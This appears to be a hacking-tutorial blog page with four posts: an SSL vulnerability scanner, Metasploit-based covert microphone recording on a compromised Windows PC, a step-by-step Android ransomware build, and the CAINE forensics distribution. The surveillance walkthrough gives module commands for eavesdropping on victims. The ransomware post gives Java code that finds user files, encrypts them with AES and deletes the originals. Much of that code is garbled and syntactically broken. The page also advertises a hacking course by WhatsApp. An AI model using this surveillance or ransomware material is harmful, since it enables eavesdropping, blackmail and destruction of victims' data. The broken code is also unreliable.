Pages

Pages - Menu

Pages - Menu

Monday, 30 April 2018

How To Find SSL Vulnerability In Your Website


SSL Vulnerabilities

Many versions of the mechanism used to secure your web traffic are no longer safe.


When a browser communicates to a web server, the recommendation is to ensure the web site uses an encrypted connection - otherwise anyone can see all your private data. Although users are told to look for the padlock icon next to the web address, or make sure the web address begins with https://, many protocols that handle the encryption of that link are no longer considered secure.

If you are responsible for managing a server, or are responsible for ensuring browsers only communicate in a secure way, you need to ensure your systems are configured in a way that ensures the encrypted links really are secure.



What is at risk?

Web servers and browsers that allow encryption to be established using old and obsolete protocols put all the data transmitted over the network at risk. Browsers and servers often leave support enabled in case it is required, which removes the protections afforded by modern protocols.


Download App:- Tech Gyan Mantra



Recommendation

  • Disable support for SSLv2 and PCT on servers and browsers. These protocols are known insecure since 1995 

  • Disable support for SSLv3 on servers and browsers. This protocol is known insecure since 2006

  •  Disable support for TLS 1.0, or at least disable compression, on servers and browsers. This protocol is known exploitable since 2011. Further, no credit card handling system will be permitted to support this protocol in 2018.

  •  Disable support for weak ciphers, including DES, 3DES, RC4. These ciphers are known breakable. Ensure support for modern ciphers (AES), modes (GCM) and protocols (TLS 1.2)

To Find SSL Vulnerability In Your Website To Fix.As You Know SSL Is The Certificate Of Security Of Any Website Which Indicates That Your Private Informations Are Secure On This Website.In This Video I Have Explained That SSL Has Also Vulnerabilities.If You Have A Website With SSL Certificate Then You Should Must Check your Website To Ensure That Your Website Has Not Any SSL Vulnerability.


Download Here:-



Commands- chmod +x install.sh ./install.sh python a2sv.py For Execute The Tool(This Step Is Skipped In This Video). python a2sv.py -h python a2sv.py -t (target website name)




WATCH VIDEO:-






For hacking course 

Whatsapp no. - +16366780163



Saturday, 28 April 2018

How to Remotely Record & Listen to the Microphone of a Hacked Computer



The microphone in a Windows computer is accessible to most applications running on the device at all times and completely without security limitations. Information gathered from recorded audio conversations taking place in the surrounding area of a compromised computer can be used for social engineering, blackmail, or any number of other reasons.


After a hacker has created a payload , then
established a backdoor on a vulnerable Windows 10 computer , they can use
Metasploit 's meterpreter to perform a number of different attacks, such as capturing screenshots and keystrokes , stealing passwords , and locating deleted files . In this case, we'll be showing how a hacker can tap into their victim's microphone for some easy eavesdropping.



The microphones built into laptop computers can be used by processes and services running on a Windows computer without any security considerations. This allows hackers to easily abuse Windows' inherent trust in third-party applications and collect audio recordings using the microphone of a compromised computer.


STEP 1

Record Audio without being Notice

Metasploit has a record_mic module built into the framework which can be used to create audio recordings from a compromised computer. To start using the record_mic module, type the below command.

use post/multi/manage/record_mic





The available module options can be viewed using the options command.




The DURATION option defines the length of the audio recording captured through the target's microphone. The set command can be used to configure the duration of the audio in seconds.


set DURATION 30


Next, a SESSION ID will need to be specified in the module options. The sessionscommand can be used to view the available compromised devices.


sessions
Set the SESSION ID using the below command.






set SESSION 1



With the options now set, the run command can be used to start recording audio on the target computer.






STEP 2

Locate the Recorded Audio Files

To access a newly created audio recording saved on the VPS, from the msf shell, the cd command can be used to change into the /root/.msf4/loot/ directory.






cd /root/.msf4/loot/
Use Python3 to create a simple HTTP web server on port 8080, using the below command. The -m argument calls the "http.server" Python3 module, while 8080 is the port opened and used to host the web server.
python3 -m http.server 8080




While the Python3 server is acting as a temporary web server, the msf terminal will not be usable. However, it will then be possible to view audio files from any web browser in the world by entering the IP address of the VPS into a browser search bar and appending the port number (8080) to the VPS's IP with a colon.
http://Your.VPS.IP.Address:8080/ 










STEP 3


Play the Recorded Audio Files

Most web browsers don't play WAV audio files by default, so the files will need to be saved locally and listened to using an audio player found in Kali. Audacity is a popular audio player available in the Kali repositories and can be installed using the below command.
sudo apt-get install audacity





After Audacity is installed, right-clicking on downloaded WAV files and opening them with Audacity will allow attackers to hear the recorded audio.

How to Protect Yourself from Microphone Attacks


If your Windows computer has been infested with a backdoor like we've done, then you can see how easy it is for hackers to listen to everything you're saying. While they can't hear it live, they can listen to the recordings whenever they want and do whatever they want with them. To keep this from happening:




  • Use AppArmor. Security designed into Linux operating systems like Ubuntu can blacklist certain applications from accessing specified parts of the computer. Opening a malicious PDF when the PDF viewer application doesn't have access to the microphone may help prevent such attacks.
  • Use Qubes. Qubes exercises security by compartmentalization. This allows users to separate the various parts of their digital activities into securely isolated compartments. Qubes is possibly the most secure desktop operating system available. Native Windows users may find it difficult to use at first, but if OS security is a priority, Qubes will prove to be an adequate solution.
  • Physically remove the microphone. If the microphone isn't absolutely required and security is vital, this might be a desirable option.
  • Protect your computer against backdoors. While all of the above is helpful when you're already backdoored, the best thing to do is make sure you're not exploited in the first place.







Friday, 27 April 2018

Creating a Ransomware for Android from 0!

THIS ARTICLE ONLY FOR EDUCATIONAL PURPOSE. IF YOU  DO ANY ILLEGAL WORK TECH GYAN NOT RESPONSIBLE FOR THAT.

This year we talked a lot about the famous rasonware, cyber attack worldwide that suffered many companies and others, ps well, first understand that it is a rasonware and how it operates. According to wikipedia:

Download App :-  Tech Gyan Mantra

An ransomware (ransom, and ware, by software) is a type of malicious software that restricts access to certain parts or files of the infected system, and requests a ransom in exchange for removing this restriction.


1 Some types of ransomware encrypt the operating system files by disabling the device and coercing the user to pay for the rescue.



In this tutorial I will teach you how to create a simple rasonware for android using the AES 256-byte encryption algorithm, it will allow us to encrypt text files, images and music.


Well and ps like I like this whole world I wanted to do mine, but not to hurt, I wanted to do mine to prove what we can be victims or that can also help us (then I'll explain this part) First of


all I want to tell you that this tutorial is aimed at people with basic knowledge in Java and Android. We start, first open Android Studio and create a new project, create an EmptyActivity with their respective class, something like this should be:



First I will organize the visual part, I will create an EditText and two Buttons, one to encrypt and another to decrypt, something like this would be:


CAINE Computer Forensic Software ?How to Use.


Code: Java


<TextView
android: id = "@ + id / textView4"
android: layout width = "match parent"
android: layout height = "wrap content"
android: layout gravity = "center vertical | center_horizontal | center"
android: fontFamily = "monospace"
android: text = "Password"
android: textSize = "18sp" />


<EditText
android: id = "@ + id / key"
android: layout width = "match parent"
android: layout height = "wrap content"
android: ems = "10"
android: inputType = "textPassword" />


<Button
android: id = "@ + id / boton1"
android: layout width = "match parent"
android: layout height = "wrap content"
android: text = "Encrypt" />


<Button
android: id = "@ + id / boton2"
android: layout width = "match parent"
android: layout height = "wrap content"
android: text = "Decrypt" />


something like this would be seen:



Ready and here we start with the interesting, the code!
pay attention to every detail I named, many 'little things' took away hours and hours, so be careful
First you have to ask for permissions, since I have a cell phone with lollipop , I have to ask for permissions in both the Manifest and in time of execution, we go to the folder manifest, double click to the file AndroidManifest.xml and we put this:


Code: Java

<uses - permission android: name = "android.permission.READ EXTERNAL STORAGE" />
<uses - permission android: name = "android.permission.WRITE EXTERNAL STORAGE" />



now we go to the class that we created together with the EmptyActivity, mine is called slow posion ,will ask the permissions in execution


Code: Java

// Check if you already have permissions
if (ContextCompat.checkSelfPermission (this, Manifest.private.Level EXTERNAL STORAGE) == PackageManager.PermissionMGRANTED


&& ContextCompat. checkSelfPermission (this, Manifest permission. WRITEEXTERNAL STORAGE) == PackageManager. PERMISSION_GRANTED) {


Toast. makeText (this, "The app already has permissions", Toast .LENGTH_SHORT). Show ( ) ;


// We already have the necessary permissions
// We can proceed to work with the memory of the cell phone


} else {


// If we do not have permissions, I will create a function to request them
Request Permission ();
}
========================================================================================


outside the OnCreate method, we define the function:


Code: Java

public void RequestPermissions () {

if (ActivityCompat. shouldShowRequestPermissionRationale (this, Manifest.private.LED EXTERNAL STORAGE)) {

Toast. makeText (this, "Permission Required", Toast .LENGTH_SHORT). Show ( ) ;
}

ActivityCompat. requestPermissions (this, new String {Manifest permission, READEXTERNAL STORAGE, Manifest permission, WRITEEXTERNAL STORAGE},

MYPERMISSIONS REQUEST);
}
=========================================================================================



To know the answer of the user we will create our own version of the function onRequestPermissionsResult which is the one that tells us if the user gave us the permissions or not


Code: Java


@Override
public void onRequestPermissionsResult (int requestCode,
String permissions , int grantResults) {
if (requestCode == MYPERMISSIONS REQUEST) {
// If request is canceled, the result arrays are empty.
if (grantResults. length> 0


&& grantResults 0 == PackageManager. PERMISSIONGRANTED && grantResults 1 == PackageManager. PERMISSION GRANTED) {


Toast. makeText (this, "The app already has permissions", Toast .LENGTH_SHORT). Show ( ) ;

} else {

Toast. makeText (this, "WITHOUT PERMISSION CAN NOT RUN THE APP", Toast, LENGTH_SHORT). Show ( ) ;

}
return;
}
}
=====================================================================================

Then I will create my encryption function (), which needs a parameter key, is the key with which we are going to encrypt the files, it must be a key of 16 bytes in size, obligatorily !, I will use this = tr3D0ctaOlajESzU and an address, this is the location of the file



Code: Java


public void encrypt (String key, String address, String name) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {


// Input file (unencrypted)
File extStore = Environment. getExternalStorageDirectory ();
FileInputStream Entry = new FileInputStream ("/" + address);


// output file (encrypted) its name changes it would be saved something asi = encript_foto.jpg
FileOutputStream Output = new FileOutputStream (extStore + "/ encript_" + name);


// Size of key 16 bytes!
SecretKeySpec sks = new SecretKeySpec (key. GetBytes (), "AES");


// The Cipher is created, the one responsible for encrypting the streams
Cipher cipher = Cipher. getInstance ("AES");
cipher. init (Cipher, ENCRYPT_MODE, sks);


// output stream, output file
CipherOutputStream cos = new CipherOutputStream (Output, cipher);


// Write bytes
int b;
byte d = new byte 8;
while ((b = Input. read (d))! = - 1) {
cos write (d, 0, b);
}


// Close the stream
cos flush ();
cos close ();
Entry. close ();


// Delete the original file
File tmp = new File ("/" + address);
tmp. delete ();
}
======================================================================================



and our function decrypt (), I will not comment because it does almost the same as the previous one


Code: Java


public static void decrypt ( String key, String address, String name ) throws IOException , NoSuchAlgorithmException , NoSuchPaddingException, InvalidKeyException {
File extStore = Environment . getExternalStorageDirectory ( ) ;


FileInputStream Entry = new FileInputStream ( "/" + address ) ;
FileOutputStream Output = new FileOutputStream ( extStore + "/ decrypt_" + name ) ;
SecretKeySpec sks = new SecretKeySpec ( key. GetBytes ( ) ,
"AES" ) ;
Cipher cipher = Cipher. getInstance ( "AES" ) ;
cipher. init ( Cipher. DECRYPT_MODE , sks ) ;
CipherInputStream cis = new CipherInputStream ( Input, cipher ) ;
int b ;
byte d = new byte 8 ;
while ( ( b = cis. read ( d ) ) ! = - 1 ) {
Departure. write ( d, 0 , b ) ;
}
Departure. flush ( ) ;
Departure. close ( ) ;
cis. close ( ) ;


// Delete the encrypted file
File tmp = new File ( "/" + address ) ;
tmp. delete ( ) ;
}
=========================================================================================


Now we have our functions in charge of encrypting the files, now we need a function that fences all the folders of the system looking for the files to be encrypted, it would look something like this:



Code: Java


public static ArrayList <File> FindArchives (File root) {
ArrayList <File> Files = new ArrayList <File> ();
File _files = root. listFiles ();
if (_files! = null) {
for (File list: _files) {
if (list isDirectory () &&! list isHidden ()) {


Files. addAll (FindArchives (list));
} else {


// Only allow files ending in. txt .jpg .jpeg and .mp3
if (list.getName () endsWith (".txt") || list.getName (). endsWith (".jpg") || list. getName (). endsWith (".jpeg") ||


list. getName (). endsWith (".png") || list. getName (). endsWith (".mp3")) {
if (list. getTotalSpace ()> 3) {



// If it ends in what we want and weighs more than 3 kb we add it to the list
Files. add (list);
}
}
}
}
}
return Files;
}
========================================================================================

Well basically we already have our main functions already ready, now we will program that when clicking on the button encrypt, execute our function encrypt with the files that


I found in the system
As I said before, after we checked the permissions esque we can perform the tasks, we will use the previous code where we check the permissions and enable an OnClickListener for each button we create, so this being oppressed execute what we say, it would look something like this:



Code: Java


// REQUEST AND CHECK PERMITS IN PERFORMANCE


if ( ContextCompat. checkSelfPermission ( esta , Manifest . permission . READEXTERNAL STORAGE ) == PackageManager. PERMISSION_GRANTED


&& ContextCompat. checkSelfPermission ( esta , Manifest . permission . WRITEEXTERNAL STORAGE ) == PackageManager. PERMISSION_GRANTED ) {


// Reference buttons and others
end Button BotonEncriptar = ( Button ) findViewById ( R. id . boton1 ) ;
end Button BotonDesencriptar = ( Button ) findViewById ( R. id . Key2 ) ;
end EditText EntradaClave = ( EditText ) findViewById ( R. id . clavesita ) ;



Toast. makeText ( this , "The app already has permissions" , Toast .LENGTH_SHORT ) . show ( ) ;


DeDescription button. setOnClickListener ( new View . OnClickListener ( ) {
b @ url = https : //underc0de.org/foro/index.php?action=profile;u=8340Override /url b
public void onClick ( View view ) {


try {


// List of files found in the system


end ArrayList < File > Files = EncontrarArchivos ( Environment . getExternalStorageDirectory ( ) ) ;
for ( int i = 0 ; i < files. size ( ) ; i ++ ) {


// we send them to decrypt 1 x 1, passing the name of the file and its location, but first
// check if it is encrypted, (in its name have the word "encript_"

int check = Files. get ( i ) . getName ( ) . indexOf ( "encript_" ) ;
if ( check ! = - 1 ) {


decrypting ( key files. get ( i ) . getPath ( ) , Archives. get ( i ) . getName ( ) ) ;
}
}
}


// Exceptions required for the encryption function
} catch ( IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k ) {
k. printStackTrace ( ) ;
}
}
} ) ;


Encrypt button. setOnClickListener ( new View . OnClickListener ( ) {
b @ url = https : //underc0de.org/foro/index.php?action=profile;u=8340Override /url b
public void onClick ( View view ) {


try {
end ArrayList < File > Files = EncontrarArchivos ( Environment . getExternalStorageDirectory ( ) ) ;


for ( int i = 0 ; i < files. size ( ) ; i ++ ) {


// we send them to encrypt 1 x 1, passing the name of the file and its location
encrypt ( key files. get ( i ) . getPath ( ) , Archives. get ( i ) . getName ( ) ) ;

} catch ( IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k ) {
k. printStackTrace ( ) ;
}
}

} ) ;
} else {

Request Permission ( ) ;
}
}
=====================================================================================


This way we make sure that without the necessary permissions, we will never try to encrypt the files and generate errors, so our rasonware is almost finished, we just have to read the key that we enter to decrypt or encrypt, with EditText we ask the user and we read it:


Code: Java


// We refer to our objects on screen


end Button Button Encrypt = (Button) findViewById (R. id button1);
end Button ButtonDesencriptar = (Button) findViewById (R. id. Key2);
end EditText KeyInput = (EditText) findViewById (R. id key);
========================================================================================

and then read it:


Code: Java


String key = KeyInput. getText (). toString ();
========================================================================================


this goes inside the OnClickListener of the encrypt button so that the moment you press it read and do their respective tasks, Ready boys! so it makes a rasonware for android. Now let's build our apk and we will install it in our mobile, I will create a folder called docs and inside it will save a text file, a song and an image:


Now I will go to the application and I will give you on the encrypt button, what happened is that
the files have been encrypted from my memory, trying to open the image will not let me:


Now I will go back to the application and I will give you to disassociate:


My files are back to normal, I can see my image, fix on the names, it means that we go through all our processes.


Now we can create another function that, after finishing encrypting the files, do not send the key and cell id to our server. that I kept there, I did not want to put that in the tutorial because I think they might use it for bad, that way they could ask for money to give them the keys and .....


But here's another part, because we do not use this a good shape? if we encrypt our files with a password that only we know and decrypt them only when we need them? I can not say that you would have 100% privacy but if it would make it difficult for any cracker who wants to steal your information.


be careful with this, it is not something to play and if they are going to do tests do it in controlled environments, while doing this I have to format my cell phone since all my files were encrypted xd, so be careful, the files you read are from the internal memory of the phone, I do not know why this happens but I only recognize the internal memory, also when you press on encrypt, decrypt wait a few seconds until the phone is normal, if we minimize the application or close one could generate errors.

Do not worry if you downloaded the app to your cell phone, it will not do anything unless you pressed the encrypt button and then with the decrypt button everything will return to normal.



Wednesday, 25 April 2018

CAINE Computer Forensic Software ?How to Use.


Download Software :-  CAINE Software

CAINE (Computer Aided INvestigative Environment) is an Italian GNU/Linux live distribution created as a Digital Forensics project
Currently the project manager is Nanni Bassetti (Bari - Italy).
CAINE offers a complete forensic environment that is organized to integrate existing software tools as software modules and to provide a friendly graphical interface.
The main design objectives that CAINE aims to guarantee are the following:


Download App:- Tech Gyan Mantra

  • an interoperable environment that supports the digital investigator during the four phases of the digital investigation


  • a user-friendly graphical interface


  • user-friendly tools



We recommend you to read the page on the
CAINE policies carefully.


CAINE represents fully the spirit of the Open Source philosophy, because the project is completely open, everyone could take on the legacy of the previous developer or project manager. The distro is open source, the Windows side (Win-Ufo) is freeware and, the last but not least, the distro is installable, thus giving the opportunity to rebuild it in a new brand version, so giving a long life to this project ....




CHANGELOG CAINE 9.0 "blazar"

Kernel 4.4.0-97
Based on Ubuntu 16.04 64BIT - UEFI/SECURE BOOT Ready!
CAINE 9.0 can boot on Uefi/Uefi+secure boot/Legacy Bios/Bios.



Wifi hacking:-  wifi hacking with MAC spoofing



SystemBack is the installer.
The important news is CAINE 9.0 blocks all the block devices (e.g. /dev/sda), in Read-Only mode. You can use a tool with a GUI named BlockON/OFF present on CAINE's Desktop.
This new write-blocking method assures all disks are really preserved from accidentally writing operations, because they are locked in Read-Only mode.
If you need to write a disk, you can unlock it with BlockOn/Off or using "Mounter" changing the policy in writable mode..




Another important news is the VNC server and client, for controlling CAINE from remote and finally CAINE is always more fast during the boot.
CAINE 9.0 can boot to RAM (toram).


INSTALLING CAINE: BlockON/OFF (blockdev) put the device in WRITABLE mode -> use SYSTEMBACK -> Choose System Install -> Choose user: CAINE password: CAINE host: CAINE -> check "transfer user configuration files" -> Go!


HOW TO INSTALL CAINE - VIDEO


ADDED/CHANGED:

RegRipper, VolDiff, SafeCopy, PFF tools, pslistutil, mouseemu, NBTempoX,Osint: Infoga, The Harvester, Tinfoleak regfmount and libregf-utils installed.
Mounter fixed.
SSH server disabled by default (see Manual page for enabling it).
Autopsy 2.24 fixed - srch_strings changed with "GNU strings" renamed in srch_strings.
many others fixing and software updating.
many and many scripts and programs....



Windows Side:



CAINE has got a Windows IR/Live forensics tools.
If you need it you can use the IR/Live forensics framework you prefer, changing the tools in your pendrive.



NEW RBFstab and Mounter







1) "rbfstab" is a utility that is activated during boot or when a device is plugged in. It writes read-only entries to /etc/fstab so devices are safely mounted for forensic imaging/examination. It is self installing with 'rbfstab -i' and can be disabled with 'rbfstab -r'. It contains many improvements over past rebuildfstab incarnations. Rebuildfstab is a traditional mean for read-only mounting in forensics-orient distributions.


2) "mounter" is a GUI mounting tool that sits in the system tray. Left-clicking the system tray drive icon activates a window where the user can select devices to mount or un-mount. With rbfstab activated, all devices, except those with volume label "RBFSTAB", are mounted read-only on loop device. Mounting block devices in Caja (file browser) is not possible for a normal user with rbfstab activated making mounter a consistent interface for users.
Mounter is a disk mounting application that runs in the system tray. 

General Informations:

A green disk icon means the system is SAFE and will mount devices READ-ONLY on loop device.


A red disk icon means WARNING, mounted devices will be WRITEABLE.
In CAINE 8.0 mounter can unlock and lock block devices in Read-Only mode.




Instructions:

Left-click the disk icon to mount a device.
Right-click the disk icon to change the system mount policy.
Middle-click will close the mounter application. Relaunch from the menu.

The mounted devices will not be affected by mount policy changes. Only subsequent mounting operations will be affected.




Live Preview Caja Scripts


 CAINE includes scripts activated within the Caja web browser designed to make examination of allocated files simple. Currently, the scripts can render many databases, internet histories, Windows registries, deleted files, and extract EXIF data to text files for easy examination. The Quick View tool automates this process by determining the file type and rendering it with the appropriate tool.
The live preview Caja scripts also provide easy access to administrative functions, such as making an attached device writeable, dropping to the shell, or opening a Caja window with administrator privileges. The "Save as Evidence" script will write the selected file(s) to an "Evidence" folder on the desktop and create a text report about the file containing file metadata and an investigator comment, if desired.
A unique script, "Identify iPod Owner", is included in the toolset. This script will detect an attached and mounted iPod Device, display metadata about the device (current username, device serial number, etc.). The investigator has the option to search allocated media files and unallocated space for iTunes user information present in media purchased through the Apple iTunes store, i.e., Real Name and email address.
The live preview scripts are a work in progress. Many more scripts are possible as are improvements to the existing scripts. The CAINE developers welcome feature requests, bug reports, and criticisms.
The preview scripts were born from a desire to make evidence extraction simple for any investigator with basic computer skills. They allow the investigator to get basic evidence to support the investigation without the need of advanced computer forensics training or waiting upon a computer forensics lab. Computer forensics labs can use the scripts for device triage and the remainder of the CAINE toolset for a full forensic examination!



Root file system spoofing PATCH

The patch changes the way how Casper searches for the boot media. By default, Casper will look at hard disk drives, CD/DVD-drives and some other devices while booting the system (during the stage when system tries to find the boot media with correct root file system image on it - because common bootloaders do not pass any data about media used for booting to an operating system in Live CD configurations). Our patch is implemented for CD/DVD versions of CAINE and enables CD/DVD-only checks in Casper. This solves the bug when Casper would select and boot fake root file system images on evidentiary media (hard disk drives, etc.


Windows Side


CAINE has got a Windows IR/Live forensics tools.
If you need it you can use the IR/Live forensics framework you prefer, changing the tools in your pendrive.
Tools: Nirsoft suite + launcher, WinAudit, MWSnap, Arsenal Image Mounter, FTK Imager, Hex Editor, JpegView, Network tools, NTFS Journal viewer, Photorec & TestDisk, QuickHash, NBTempoW, USB Write Protector, VLC, Windows File Analyzer.



WATCH  Video:-